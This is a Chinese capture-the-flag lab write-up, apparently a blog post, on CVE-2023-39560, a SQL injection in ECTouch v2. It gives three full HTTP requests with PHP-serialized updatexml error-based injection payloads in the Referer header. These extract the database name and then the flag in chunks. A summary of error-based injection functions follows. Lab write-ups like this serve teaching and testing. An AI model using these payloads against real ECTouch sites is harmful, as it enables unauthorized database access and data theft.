【春秋云境】CVE-2023-39560 ECTouch v2 SQL注入

靶场介绍

ECTouch v2被发现在\default\helpers\insert.php文件中通过$arr['id']参数存在SQLI。

开启靶场

在这里插入图片描述

PHP 反序列化格式

GET /index.php?m=default&c=user&a=register&u=0 HTTP/1.1
Host: eci-2ze6wdpsngcfop1fb4p8.cloudeci1.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:1:{s:2:"id";s:49:"0&&updatexml(1,concat(0x7e,(database()),0x7e),1)#";}
Cookie: _ga=GA1.2.1105117036.1705648933; _ga_J1DQF09WZC=GS1.2.1705648933.1.1.1705649285.0.0.0; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1712114403,1712226018,1712399571,1712540915; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1712565460; touch_id=87c99805430b32ff01f6949d6bf3390f220e8859
Connection: close

需要注意 49这里,是因为他后面双引号里一共有49个字符,所以这里写49
在这里插入图片描述

获取flag

第一部分

GET /index.php?m=default&c=user&a=register&u=0 HTTP/1.1
Host: eci-2ze6wdpsngcfop1fb4p8.cloudeci1.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:1:{s:2:"id";s:76:"00&&substring(updatexml(1,concat(0x7e,(select flag from flag),0x7e),1),1,2)#";}
Cookie: _ga=GA1.2.1105117036.1705648933; _ga_J1DQF09WZC=GS1.2.1705648933.1.1.1705649285.0.0.0; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1712114403,1712226018,1712399571,1712540915; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1712565460; touch_id=87c99805430b32ff01f6949d6bf3390f220e8859
Connection: close

因为报错注入只能显示前32个字符
在这里插入图片描述

第二部分

GET /index.php?m=default&c=user&a=register&u=0 HTTP/1.1
Host: eci-2ze6wdpsngcfop1fb4p8.cloudeci1.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:1:{s:2:"id";s:78:"00&&updatexml(1,concat(0x7e,substring((select flag from flag),23,20),0x7e),1)#";}
Cookie: _ga=GA1.2.1105117036.1705648933; _ga_J1DQF09WZC=GS1.2.1705648933.1.1.1705649285.0.0.0; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1712114403,1712226018,1712399571,1712540915; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1712565460; touch_id=87c99805430b32ff01f6949d6bf3390f220e8859
Connection: close

在这里插入图片描述
拼接一下就OK

既然对你有用,既然关注了就不要取关了,感谢感谢

总结

–xpath语法错误
extractvalue() --查询节点内容
updatexml() --修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串
如果不满足要求则会报错,并且将查询结果放在报错信息里
–主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
(1)substring():extractvalue()与updataxml()只能显示前32位字符,可以用substring()显示后面的字符
字符串.substring(字符串,参数1,参数2);
参数1:字符串截取的起始下标,非负的整数
如果此参数是0,则是从字符串的第一个字符开始截取
参数2:截取结束位置的索引下标
如substring(abc,1,2)为ab
substring(abc,2,2)为bc
(2)substr():同substring()
(3)mid():MID() 函数用于从字符串中提取指定长度的子字符串,位置从 1 开始计数
MID(string, start, length):
string:要提取子字符串的原始字符串。
start:指定要开始提取子字符串的位置。
ength:指定要提取的子字符串的长度。
(3)concat():连接函数
如concat(a,b)为 ab
concat(0x7e,(执行语句))为 #执行后的语句
(4)group_concat():GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
(5)concat_ws()
CONCAT_WS(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
如concat_ws(‘~’,a,b)为 a~b
(6)limit 0,1 指定显示某一行 (concat()+limit可以与group_concat()互换)

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值